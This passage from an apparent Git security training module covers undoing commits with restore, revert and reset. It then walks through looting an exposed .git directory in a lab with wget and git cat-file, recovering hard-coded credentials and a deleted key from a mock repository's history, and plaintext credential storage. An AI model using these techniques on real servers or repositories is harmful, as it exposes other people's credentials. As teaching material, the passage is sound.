Oh no! We overwrote the file instead of appending it and moved it from
the working tree state to the staged state. This simple mistake can
easily be fixed. Let's run git status to confirm our data is in
the staged state.
hacker@gitsec:~/my_comic_collection$ git status
On branch main
Your branch is up to date with 'origin/main'.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
modified: Heroes/DCHeroes
Listing 7 - Running the git status command
The output confirms the file is staged and even shows us how to fix
our issue. Let's use git restore with the --staged option to
unstage the modified changes. Then we'll run git status to confirm
changes are in the working tree state.
hacker@gitsec:~/my_comic_collection$ git restore --staged Heroes/DCHeroes
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
BlackCanary
hacker@gitsec:~/my_comic_collection$ git status
On branch main
Your branch is up to date with 'origin/main'.
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: Heroes/DCHeroes
no changes added to commit (use "git add" and/or "git commit -a")
Listing 8 - Running the git restore command with --staged option
Great! The modified changes are no longer in the staged state. But the
changes are still there. Git is tracking this change in the working
tree because that file existed before. We can also undo these changes
and git status shows us how. We will use git restore again,
but this time only reference the file.
hacker@gitsec:~/my_comic_collection$ git restore Heroes/DCHeroes
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
Superman
Batman
WonderWoman
Listing 9 - Running the git restore command
Awesome! We were able to restore the original file.
Next, we will cover git revert.[780] This command will
undo the changes by another commit, and create a new commit. This
is important, because it doesn't remove the commit from the commit
history. This can play a very important role in a collaborative
environment. If we revert locally, then push to the remote repository,
others can track that change. This should be easier to merge with
their work, depending on the situation. In other words, they should
apply the revert to their local repository without it being a huge
headache.
We will use the same mistake example as we did before. First, we'll
echo the text to the file, add, commit, and confirm the edit.
hacker@gitsec:~/my_comic_collection$ echo "BlackCanary" > Heroes/DCHeroes
hacker@gitsec:~/my_comic_collection$ git add *
hacker@gitsec:~/my_comic_collection$ git commit -m "add black canary to the DC heroes list"
[main 9e38d94] add black canary to the DC heroes list
1 file changed, 1 insertion(+), 3 deletions(-)
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
BlackCanary
Listing 10 - Committed typo mistake
Next, let's review the log.
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
9e38d9 46026d68507cde8a6238d046ba8f8677f2 (HEAD -> main) add black canary to the DC heroes list
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
Listing 11 - Checking git log
Oh no! We made a mistake, and this time we committed our work. How can
we fix this!? We can fix it with git revert, and refer to the hash
of the commit we want to undo.
Remember, commit hashes will differ due to factors like the time
stamp.
hacker@gitsec:~/my_comic_collection$ git revert 9e38d9
Listing 12 - Running the git revert command
This will bring up a text editor where we can create our commit
message. Remember, Git will undo the changes from the commit we
specified, and create a new commit.
We will leave the commit message as is, save, and exit, which will
output our successful commit. To save and exit, press C +
x, and then y to confirm.
[main cf7fcf3] Revert "add black canary to the DC heroes list"
1 file changed, 3 insertions(+), 1 deletion(-)
Listing 13 - Git revert output
Now we can check the commit log and the file.
hacker@gitsec:~/my_comic_collection$ git log
commit cf7fcf 34471f0922ff4166f93a8c0e5822b8abd5 (HEAD -> main)
Author: Hacker <hacker@local>
Date: Wed Oct 12 20:30:19 2022 +0000
Revert "add black canary to the DC heroes list"
This reverts commit 9e38d946026d68507cde8a6238d046ba8f8677f2.
commit 9e38d9 46026d68507cde8a6238d046ba8f8677f2
Author: Hacker <hacker@local>
Date: Wed Oct 12 20:27:19 2022 +0000
add black canary to the DC heroes list
...
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
Superman
Batman
WonderWoman
Listing 14 - Confirm git revert command
Perfect! A new commit was created, cf7fcf, and our file is
restored to its previous version, undoing the changes of the
9e38d9 commit.
Finally, let's demonstrate the git reset[781] command.
This command has three options that we will discuss: --soft,
--mixed, and --hard.
The --soft option will undo the commit. The data is moved from
the committed state to the staged state. Unlike git revert though, git
reset alters the commit history. It will remove the commit from the
log. This option is useful in situations where we want to add existing
changes to staging before committing. For example, we may want to add
stashed changes.
Let's review this. Here is the output of the log and the file.
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
cf7fcf34471f0922ff4166f93a8c0e5822b8abd5 (HEAD -> main) Revert "add black canary to the DC heroes list" This reverts commit 9e38d946026d68507cde8a6238d046ba8f8677f2.
9e38d946026d68507cde8a6238d046ba8f8677f2 add black canary to the DC heroes list
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
Superman
Batman
WonderWoman
Listing 15 - Review commit log and DCHeroes file
We have six commits, let's pay attention to the last commit (the one
at the top of the output). Let's run git reset --soft, and select
the hash ID of the commit we want to reset to. In this case, it is
commit 9e38d9. As we move forward, keep in mind that the hash ID
that we use with reset will be the one that we want to reset to. In
other words, we will find the last commit we want to remove and use
the hash ID of the previous ID in our reset command.
hacker@gitsec:~/my_comic_collection$ git reset --soft 9e38d9
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
9e38d946026d68507cde8a6238d046ba8f8677f2 (HEAD -> main) add black canary to the DC heroes list
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
Listing 16 - Running the git reset command with --soft option
Notice how we have five commits? The cf7fcf commit no longer
exists.
What does git status reveal?
hacker@gitsec:~/my_comic_collection$ git status
On branch main
Your branch is ahead of 'origin/main' by 1 commit.
(use "git push" to publish your local commits)
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
modified: Heroes/DCHeroes
Listing 17 - Running the git status command
It shows us that the file is in the staging state and needs to be
committed.
Let's commit it and check the commit log.
hacker@gitsec:~/my_comic_collection$ git commit -m "Revert 'add black canary to the DC heroes list' This reverts commit 9e38d946026d68507cde8a6238d046ba8f8677f2"
[main a6be96b] Revert "add black canary to the DC heroes list" This reverts commit 9e38d946026d68507cde8a6238d046ba8f8677f2
1 file changed, 3 insertions(+), 1 deletion(-)
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
a6be96be35f1cb37a5db9715f5fa57c2d62d96e7 (HEAD -> main) Revert "add black canary to the DC heroes list" This reverts commit 9e38d946026d68507cde8a6238d046ba8f8677f2
9e38d946026d68507cde8a6238d046ba8f8677f2 add black canary to the DC heroes list
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
Listing 18 - Commit change to have six commits again
Okay, we are back to six commits. We want to remove the last commit
and reset our commit log to the 9e38d9 commit. This time, we
will use the git reset command with the --mixed option. This
option will move the changes from the committed state back to the
working tree state. In other words, it will remove the commit and
unstage the changes. This option is useful in situations where we
want to make small adjustments to our staged state. For example, we
accidently committed credentials. While we want to keep the rest of
the changes, we just want to remove the credentials from the commit.
This option will undo the commit and unstage our changes. We will
discuss this very example in greater detail later in this module.
Let's review this command and the new commit log.
hacker@gitsec:~/my_comic_collection$ git reset --mixed 9e38d9
Unstaged changes after reset:
M Heroes/DCHeroes
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
9e38d946026d68507cde8a6238d046ba8f8677f2 (HEAD -> main) add black canary to the DC heroes list
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
Listing 19 - Running the git reset command with --mixed option
We are informed that we have unstaged the changes, and our commit
history is back to five commits. Let's check git status.
hacker@gitsec:~/my_comic_collection$ git status
On branch main
Your branch is ahead of 'origin/main' by 1 commit.
(use "git push" to publish your local commits)
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: Heroes/DCHeroes
Listing 20 - Running the git status command
As expected, our changes were moved even further, from the commit
state all the way to the working tree state. Now we can make
adjustments as needed. Because we are just demonstrating this command,
we won't make any changes at this time. Let's add it to staged, and
commit it.
hacker@gitsec:~/my_comic_collection$ git add *
hacker@gitsec:~/my_comic_collection$ git commit -m "Revert 'add black canary to the DC heroes list' This reverts commit 9e38d946026d68507cde8a6238d046ba8f8677f2"
[main e99d312 ] Revert "add black canary to the DC heroes list" This reverts commit 9e38d946026d68507cde8a6238d046ba8f8677f2
1 file changed, 3 insertions(+), 1 deletion(-)
Listing 21 - Adding change to staging and committing it to have six commits again
Great! We are back to six commits. Finally, let's review the git
reset command with the --hard option. This option will remove
the changes from Git's commit log and the Git repository. In other
words, it will undo the changes by altering the data within our local
repository. This action can result in unrecoverable data, so in the
real world, we need to proceed with caution.
Once again, we want to remove the last commit, e99d312, and reset
our commit log to commit 9e38d9.
hacker@gitsec:~/my_comic_collection$ git reset --hard 9e38d9
HEAD is now at 9e38d9 add black canary to the DC heroes list
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
9e38d946026d68507cde8a6238d046ba8f8677f2 (HEAD -> main) add black canary to the DC heroes list
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
BlackCanary
Listing 22 - Running the git reset command with --hard option
With this option, it removed our data from every state.
In this case, we removed the commit that reverted our mistake in
commit 9e38d9. We are confident that we can completely erase the
whole commit. Let's reset to the b5a700 commit, which will remove
the commit that contains our mistake.
hacker@gitsec:~/my_comic_collection$ git reset --hard b5a700
HEAD is now at b5a700 add some heroes, villains, and locations
Listing 23 - Hard reset again
Perfect. We are back to where we were at the beginning of this section
with four commits and the correct DCHeroes file version.
hacker@gitsec:~/my_comic_collection$ cat Heroes/DCHeroes
Superman
Batman
WonderWoman
hacker@gitsec:~/my_comic_collection$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
hacker@gitsec:~/my_comic_collection$ git log --pretty=oneline
b5a700fe527bac4e0c66dc51421a19fdcbe4e849 (HEAD -> main, origin/main, origin/HEAD) add some heroes, villains, and locations
c54ee0dbf603dcdc1139f310f21a0c686e96a1b5 add Marvel Villains folder with a few Villains
6e60e0ad344aa93ca969bdf18ea70a3b0b1b1175 Add initial files and folders for heroes and villains
d6cf001da7eaa0d51bf27a0f007c9696f675ef59 Initial commit
Listing 24 - Confirming changes back to the beginning of the section
Using this command and updating the remote repository can cause
confusion in a collaborative environment. It's best to tread carefully
when using commands that alter the commit history. This is especially
true if we plan on pushing the changes, which will alter the commit
history of the remote repository. Nevertheless, there may be very
legitimate reasons to remove the commit from the history. For example,
we may have pushed a set of credentials in the source code of an
application. We would not only have to remove the data, but we would
have to remove the commit from the commit history and the objects from
the database. Using the git reset command can help achieve that.
In this section, we will explore the .git directory through
a security lens. More specifically, we will explore the security
implications of an accessible .git directory.
Let's say we are part of a developer group working for a company that
is self-hosting a web server and a Git repository on the machine.
Due to its security implications, this is less likely to happen
nowadays. We are using this example because this has happened in the
past and it is an easy way to demonstrate this topic.
The repository contains the code for the web server and the website.
Our developers are located remotely, so this Git repository being
accessible from the internet is very important to the operation and
development of the website. Without the Git repository, the developers
cannot easily collaborate and adjust the code.
Part of developing the website is to perform security checks.
For instance, let's browse to the IP address of the lab VM. Our
website is still being built, so a very basic page is displayed.
Next, let's say that through automatic testing, we identified the
.git directory is browseable. This means we can use our browser
to display the folder contents. Let's browse to http:///.git/,
while using our lab VM IP address. A similar page as shown below
should be displayed.
From here, we can access the files and folders within the .git
directory. Keep in mind that we only have access to this folder, and
not the actual local repository. Let's explore how we can leverage
access to this folder and gain sensitive information.
As a reminder, Git maintains a database of objects that contain the
changes. When a snapshot is created with the changes, new objects
are also created, which are maintained by Git. By having access
these objects, we can piece together information to potentially gain
unauthorized access to sensitive data.
Because we have access to the whole .git directory, we can
download all the files and folders to our local Kali machine. Let's
use wget[782] to download these files. We will use the
-r option to recursively grab all the files and folders within the
.git directory. Lastly, we will use -np so that the command
does not fetch the files located in the parent directory. We want all
the files and folders going down the directory structure, but not up,
within the .git directory.
kali@kali:~$ wget -r -np http://192.168.50.129/.git/
--2022-09-14 17:25:39-- http://192.168.50.129/.git/
Connecting to 192.168.50.129:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2880 (2.8K) [text/html]
Saving to: ‘192.168.50.129/.git/index.html’
192.168.50.129/.git/index.html 100%[================================>] 2.81K --.-KB/s in 0s
2022-09-14 17:25:39 (333 MB/s) - ‘192.168.50.129/.git/index.html’ saved [2880/2880]
...
Listing 25 - Use wget to download files and folders from the web server
After we run the command, we should receive a long stream of output
(truncated in the above listing) that displays information regarding
each file.
Let's explore the files and folders.
kali@kali:~$ ls
192.168.50.129
kali@kali:~$ cd 192.168.50.129
kali@kali:~/192.168.50.129$ cd .git
kali@kali:~/192.168.50.129/.git$ ls -la
total 88
drwxrwxr-x 8 kali kali 4096 Sep 14 17:25 .
drwxrwxr-x 3 kali kali 4096 Sep 14 17:25 ..
-rw-rw-r-- 1 kali kali 15 Sep 8 18:48 COMMIT_EDITMSG
-rw-rw-r-- 1 kali kali 23 Sep 8 18:48 HEAD
drwxrwxr-x 2 kali kali 4096 Sep 14 17:25 branches
-rw-rw-r-- 1 kali kali 132 Sep 8 18:48 config
-rw-rw-r-- 1 kali kali 73 Sep 8 18:48 description
drwxrwxr-x 2 kali kali 4096 Sep 14 17:25 hooks
-rw-rw-r-- 1 kali kali 254 Sep 8 18:48 index
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 index.html
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=D;O=A'
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=D;O=D'
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=M;O=A'
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=M;O=D'
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=N;O=A'
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=N;O=D'
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=S;O=A'
-rw-rw-r-- 1 kali kali 2880 Sep 14 17:25 'index.html?C=S;O=D'
drwxrwxr-x 2 kali kali 4096 Sep 14 17:25 info
drwxrwxr-x 3 kali kali 4096 Sep 14 17:25 logs
drwxrwxr-x 9 kali kali 4096 Sep 14 17:25 objects
drwxrwxr-x 4 kali kali 4096 Sep 14 17:25 refs
Listing 26 - Investigate .git directory
Let's identify an object within the objects folder, like
2fc4e4 in the example below. Then, we can use Git to identify the
object type and display the contents. From there, let's continue to
investigate more objects. Remember, the hashes might be different
because of factors like the time stamp.
kali@kali:~/192.168.50.129/.git$ git cat-file -t 2fc4e4
commit
kali@kali:~/192.168.50.129/.git$ git cat-file -p 2fc4e4
tree 21a5ff ff7da6b666980202f2b9305c640c6c5e2a
author root <root@local> 1662662887 +0000
committer root <root@local> 1662662887 +0000
initial commit
kali@kali:~/192.168.50.129/.git$ git cat-file -p 21a5ff
040000 tree 9cf466 121666bc99b4a1b03101a33a2031578d5c code
100644 blob 95352538a2e75ecebbb8f43dc4d703d9b3f92f36 index.html
kali@kali:~/192.168.50.129/.git$ git cat-file -p 9cf466
100644 blob 5b8583 fe695902246bdcc04977438588ca279331 secret.txt
kali@kali:~/192.168.50.129/.git$ git cat-file -p 5b8583
hacker@local:hacker1!
Listing 27 - Investigate Git objects to identify sensitive data
By investigating the Git objects, we were able to identify
secrets.txt, which contained a set of credentials.
This method is one of many ways to extract data through
unintentionally exposed .git directories.
A more advanced technique is decompressing the Git objects. For
example, as an attacker, we might only have access to the Git objects
located in the objects folder. Here, we don't have access to the
full .git directory, which means using native Git commands is
difficult or impossible, depending on the situation.
Since Git compresses the objects, we would have to manually decompress
them to display the data that we would normally view with commands
like git cat-file.
Lastly, there are also tools available that we can leverage, like
gitjacker,[783] which allows us to identify exposed
.git directories.
Properly securing the .git directory and the files and folders
within it are very important from a security standpoint.
In the previous section, we demonstrated the importance of securing
the .git directory. A malicious actor can analyze Git objects
to extract sensitive information. In this section, we will focus on
securing the actual repository.
Let's outline the results of exposed Git repositories from a
historical perspective.
As Git's popularity rose, more companies began implementing it
as part of their software development process. Some teams created
private repositories, while others hosted their code publicly. For
example, some teams with publicly available code developed open source
software. They wanted to encourage a collaborative environment that
allowed a wider range of developers to contribute.
One of the side effects was the fact that credentials, passwords,
and authentication methods were either exposed publicly or were not
properly handled. Hard-coded secrets and methods were used to exploit
production systems. Improper Git configuration settings and committing
code containing secrets resulted in objects like cryptographic keys,
plain text passwords, and other credentials being exposed in logs that
ended up as part of the repository.
This issue manifested to such a grave degree, that many academic
papers[786] and articles[787] have been published.
People have earned thousands of dollars[788]
from bug bounties, companies have been heavily impacted through
attacks resulting in consequences like having to pay $100,000
ransom,[789] and numerous guides[790] have been released
outlining how to remediate this ever-growing issue. Luckily, tools,
like Gitleaks[791] have also been created to assist
defenders and developers in proactively identifying leaked secrets so
they can fix or mediate the issue promptly.
The main culprit is the fact that these are public repositories or are
eventually made public. In some situations, making these repositories
private isn't a viable solution. Additionally, the "root cause" of
some of the situations where secrets were exposed was more than just
having them hard coded.
Now that we have a better understanding of the background behind
this issue, let's explore some case studies.
In this scenario, we will approach things through a security
researcher lens. Let's say we are reviewing an application's source
code hosted on a Git repository that is publicly available, and
therefore does not require authentication to view. Of note, this is a
mock application for demonstration purposes and the "source" files do
not contain real code.
First, let's browse to
http://<ip>:8080/castle_in_the_sky/not_so_secret_application
The screenshot below depicts the repository main page.
From here, we can investigate files and folders by hovering our mouse
over the row and clicking on it.
To return to the parent directory, we can hover over the row with the
two dots and click on it.
To select and view files, we can hover over the row and click on it.
We can follow this method to view all of the files one by one.
However, we will use an alternative method. We will clone the
repository to our machine and use the command line to investigate
the files. In this situation, the files are small and don't contain
a lot of text. In other words, we can manually read through the files
either using the browser or the command line. However, for larger
files that contain thousands or hundreds of thousands of lines of
code, using command line will be advantageous. That will enable us to
automatically parse the files as we search for keywords or phrases.
Let's use the HTTP link from the GitLab repository page, on the right
side of the page, to clone the repository. To copy the link, we can
click the clipboard button to the right of the text box, under the
section titled Clone with HTTP. The screenshot below depicts where
the button can be located.
Since our Git instance is running on port 8080 instead of the default
port 80 for HTTP, we will have to make that adjustment after we paste
the link. If we attempt to clone it using the default link without
adjusting the port, the command will fail.
Remember, if we receive an error: Could not resolve host:
gitsec, we can either add this host to our /etc/hosts file
or change the host, "gitsec" to our VM IP address in the command
line.
kali@kali:~$ git clone http://gitsec:8080/castle_in_the_sky/not_so_secret_application.git
Cloning into 'not_so_secret_application'...
remote: Enumerating objects: 36, done.
remote: Total 36 (delta 0), reused 0 (delta 0), pack-reused 36
Receiving objects: 100% (36/36), 5.81 KiB | 5.81 MiB/s, done.
Resolving deltas: 100% (10/10), done.
Listing 28 - Clone with HTTP
Perfect. We were able to clone the repo locally. Keep in mind that
this unauthenticated ability to view the repository does not allow us
to make changes. In this case, we would need an account to be able to
push updates to the remote repository. However, for this situation,
we are focusing strictly on gaining information, and not manipulating
data.
Let's change directories into the local repository, and list the files
to confirm we have correctly cloned the repository.
kali@kali:~$ ls
not_so_secret_application
kali@kali:~$ cd not_so_secret_application
kali@kali:~/not_so_secret_application$ ls
README.md database externalModules logs sourceCode
Listing 29 - Review local Git repository
It seems like our clone was successful. Let's begin by
displaying the files within the /souceCode/ directory.
kali@kali:~/not_so_secret_application$ cd sourceCode/
kali@kali:~/not_so_secret_application/sourceCode$ ls
sourceCode.txt sourceCode_handleAuthentication.txt sourceCode_userData.txt
kali@kali:~/not_so_secret_application/sourceCode$ cat sourceCode.txt
This is the primary source code file
This file initiates other binaries in order to run the application
Feel free to test this file and run the application locally to test it
kali@kali:~/not_so_secret_application/sourceCode$ cat sourceCode_handleAuthentication.txt
This file handles authentication
This file will compare user input to the database to authenticate users
This file uses external modules located in externalModoules directory
This file uses externalModules 1-3
uses test:test as default credentials from the database to authenticate. this user does have admin permissions to test application
kali@kali:~/not_so_secret_application/sourceCode$ cat sourceCode_userData.txt
This file works with the database to provide user data to the application to work properly
To access the database, this file will use databaseAdmin:UnbreakableCreds1!
Listing 30 - Review /sourceCode/ directory
During our analysis of the three files, there are quite a few
things we discovered. First, we identified a set of credentials that
authenticates to the application with admin permissions. This is
not common, and could even be intentional. Default administrative
credentials have been exploited because individuals did not change
them. In this instance, we identified the credentials by analyzing the
application source code. Secondly, another file includes hard-coded
credentials that the application uses to authenticate to the database
server. Knowing the credentials, we could access the database server
for any company that uses this application in production and uses
the default credentials. Accessing this information could result in
leaking information like other user credentials or customer data.
Let's change to the database/ directory and display the files
located there.
kali@kali:~/not_so_secret_application/sourceCode$ cd ../database/
kali@kali:~/not_so_secret_application/database$ ls
database.txt
kali@kali:~/not_so_secret_application/database$ cat database.txt
This file is a database that maintains user data
Listing 31 - Review /database/ directory
We have confirmed the location of where the database maintains its
data. Now that we also have credentials, it makes it even easier for a
malicious actor to bypass protections and access user data.
We will assume that the external modules located in the
exernalModules/ directory aren't necessary to investigate at this
time. We may return to them later.
Finally, let's review the contents in the logs/ directory.
kali@kali:~/not_so_secret_application/database$ cd ../logs/
kali@kali:~/not_so_secret_application/logs$ ls
debugLog.txt
kali@kali:~/not_so_secret_application/logs$ cat debugLog.txt
This file generates information regarding the status of the application
Timestamp1 = Application started
Timestamp2 = Application working
Timestamp3 = Error 1
Timestamp4 = Application started
Timestamp5 = Application working
Timestamp6 = no errors
Timestamp7 = Application started
Timestamp8 = user authentication error
Timestamp9 = SecretPassword user does not exist
Timestamp10 = admin user authenticated
Timestamp11 = Application working
Listing 32 - Review /logs/ directory
It seems like debug.txt is generated by the application when debug
mode is set to "on". This makes sense because some applications will
produce log files. Because these log files exist in the repository, we
can assume a developer ran this application in debug mode within the
repository. This could have been a misconfiguration in terms of where
to store the logs or just a mistake. Either way, this log was uploaded
to the remote repository. More than likely, this was a mistake.
Based on the output of the debug log, the user attempted to log in
using the administrative credentials. The error output seems to be
verbose and it provides the user's input to the username field. In
this instance, the user accidentally submitted the administrative
password in the username field. A common mistake, but the debug
log recorded it. And unfortunately, it now exists in the remote
repository.
Accidentally uploading log files to the remote repository is a very
realistic scenario. Since it can provide pertinent information, it's
an important lesson to learn to ensure we verify the files and their
contents that are pushed to the remote repository. This is especially
true for repositories that are publicly available. Very rarely should
we run commands like git-add with wildcards that select everything.
We will expand a little more on this specifically in later sections.
The last aspect we will explore is the commit log. Let's review the
commit history.
kali@kali:~/not_so_secret_application$ git log
commit 454b332f7773e7d6477263f091e37ed39c2c3005 (HEAD -> main, origin/main, origin/HEAD)
Author: hacker <hacker@local>
Date: Wed Oct 12 20:26:54 2022 +0000
removed keys - accidentally added them within repository
commit c082ca6dc505825b4e952ce9e76851cc04ea93b9
Author: hacker <hacker@local>
Date: Wed Oct 12 20:26:54 2022 +0000
tested application with keys and it worked
...
Listing 33 - Review commit history
The output in the listing above is truncated because we can identify
something interesting in the first two most recent commits. The
most recent commit removed keys that were accidentally added to the
repository. The commit before that is the one that added the keys.
Because of how Git works, the commit history and objects continue
to exist. Let's analyze this concept by reviewing the commit objects
using a diff.
kali@kali:~/not_so_secret_application$ git diff 454b33 c082ca
diff --git a/.ssh/key.txt b/.ssh/key.txt
new file mode 100644
index 0000000..119213b
--- /dev/null
+++ b/.ssh/key.txt
@@ -0,0 +1 @@
+my private key
Listing 34 - Run git diff to compare the two commits
The diff identifies the private key located in the .ssh folder.
The folder and the file were removed and a new commit was created.
Unfortunately, Git continued to track it within its commit history.
Because of this, we can view the user's private key, which we can use
to access other unauthorized data, all while impersonating the user.
These are some examples where secrets or sensitive information were
either accidentally or deliberately uploaded to a Git repository.
Whether the repository was already public or made public through other
means, hard-coded or plain text secrets have cost companies time,
money, and/or reputation in trying to recover from cyber-attacks. When
using Git, we should be mindful and deliberate in what information
we include in a central repository. We should do our best to avoid
including hard-coded secrets, and find alternative ways to implement
authentication.
Speaking of authentication, in the next section, we will outline
authentication methods associated with Git. We will also mention a
few security considerations to keep in mind when implementing those
authentication methods.
Various factors contribute to which authentication method(s) we
can implement. One thing to consider is if we are hosting our Git
server without using any other software like GitLab[760-1] or
GitHub.[763-1]
There are pros and cons to hosting services versus setting something
up ourselves completely from scratch. For example, using hosting
services generally allows us to implement authentication methods in
a more user-friendly manner. Conversely, setting up authentication on
a self-hosted server requires more in-depth knowledge and additional
administrative tasks.
The simplest setup of a Git server is to use a set of
username/password credentials. There are serious security
considerations to using this method. This method is susceptible to
traditional password attacks. If we consider the human aspect, given
how many credentials we are required to remember nowadays, password
reuse can be prevalent. Git does allow for credential storage on
disk. However, Git stores the username and password in plain text.
Alternatively, Git supports cached memory credential storage, or the
ability to store credentials in memory for a while. Let's explore
these ideas a bit further.
First, let's SSH into the lab VM as the user hacker. Then, we will
make a directory called credentials, followed by cloning the
my_comic_collection repository using HTTP. Remember, we need
to use port 8080 as part of the link. The GitLab credentials are
hacker@local:hacker1!.
hacker@gitsec:~$ mkdir credentials
hacker@gitsec:~$ cd credentials/
hacker@gitsec:~/credentials$ git clone http://gitsec:8080/follow_along/my_comic_collection.git
Cloning into 'my_comic_collection'...
Username for 'http://gitsec:8080': hacker@local
Password for 'http://hacker@local@gitsec:8080': hacker1!
remote: Enumerating objects: 23, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 23 (delta 1), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (23/23), 4.21 KiB | 862.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.
hacker@gitsec:~/credentials$ ls
my_comic_collection
Listing 35 - Create directory and clone repository
We successfully cloned the repository. Whenever we interact with the
remote repository, we will be required to authenticate. This means we
will have to input our username and password after every command that
requires the client to communicate with the server. That can quickly
become a nuisance.
One way to resolve this is using git config with the
credential.helper variable and the store argument. This
command will store the credentials in a file.
We will run this command at the global-level. Once we run this
command, a .gitconfig file will be created in the user directory.
If we ever configured Git settings at the global-level, this file
would have already been created. However, in this case, this is the
first global level Git configuration command we are issuing. After we
run the command, we will cat the newly created file to confirm our
configuration.
hacker@gitsec:~/credentials$ git config --global credential.helper store
hacker@gitsec:~/credentials$ cat /home/hacker/.gitconfig
[credential]
helper = store
Listing 36 - Run git config credential store command
Perfect. We configured Git to store our user credentials that it will
use for authentication. The next Git command will still require us to
provide our username and password. Once we input our credentials, Git
will store them locally so any consecutive commands will not require
us to re-enter them.
hacker@gitsec:~/credentials$ cd my_comic_collection/
hacker@gitsec:~/credentials/my_comic_collection$ git pull
Username for 'http://gitsec:8080': hacker@local
Password for 'http://hacker@local@gitsec:8080': hacker1!
Already up to date.
hacker@gitsec:~/credentials/my_comic_collection$ git pull
Already up to date.
Listing 37 - Interact with the Git server to store the credentials
Great! The second time we ran git pull, Git did not require
us to input our credentials. As mentioned before, unfortunately,
Git does store the credentials in plain text in a file named
.git-credentials in the user's home directory.
hacker@gitsec:~/credentials/my_comic_collection$ cat /home/hacker/.git-credentials
http://hacker%40local:hacker1%21 @gitsec%3a8080
Listing 38 - Analyzing content of .git-credentials
This file was created after we authenticated when we ran the git pull
command and provided our credentials. Because of the Git configuration
settings, Git took the credentials, created this file, and stored them
there to use for subsequent authentication. Based on the output, we
can conclude that some characters are URL encoded.[792]
For example, %40 is actually @ and %21 is !, while %3a
is :. However, once we decode those characters, our username and
password are known. While someone would have to gain access to our
machine and have the privileges to read this file, this method is not
recommended in terms of authenticating.
Alternatively, instead of the store argument, we can use
cache. This argument will cache the credentials in memory
for a specific time. We can even specify the duration using the
--timeout option and provide the time in seconds.
hacker@gitsec:~/credentials$ git config --global credential.helper 'cache --timeout=600
Listing 39 - Run git config credential cache command
The command above caches our credentials in memory for 10 minutes.
Once the time is up, we will need to input our username/password for
every command that requires the client to communicate with the server.
An authentication token, or a Personal Access Token
(PAT),[793] can be used in place of a password. This is generally
useful in situations where we want to interact with web Application
Programming Interfaces (APIs).[794]
Another serious security implication is that using HTTP will transfer
the credentials in clear text across the network. Therefore, whenever
our client sends the username/password to the server, a malicious
actor can capture that network traffic and view the credentials. Using
username/password for Git authentication is strongly discouraged.
A more secure method is using a set of public/private keys through
SSH. We will use this method throughout this module. Something to
keep in mind is that if our private key is compromised, someone could
use it to impersonate us and authenticate to the Git server using our
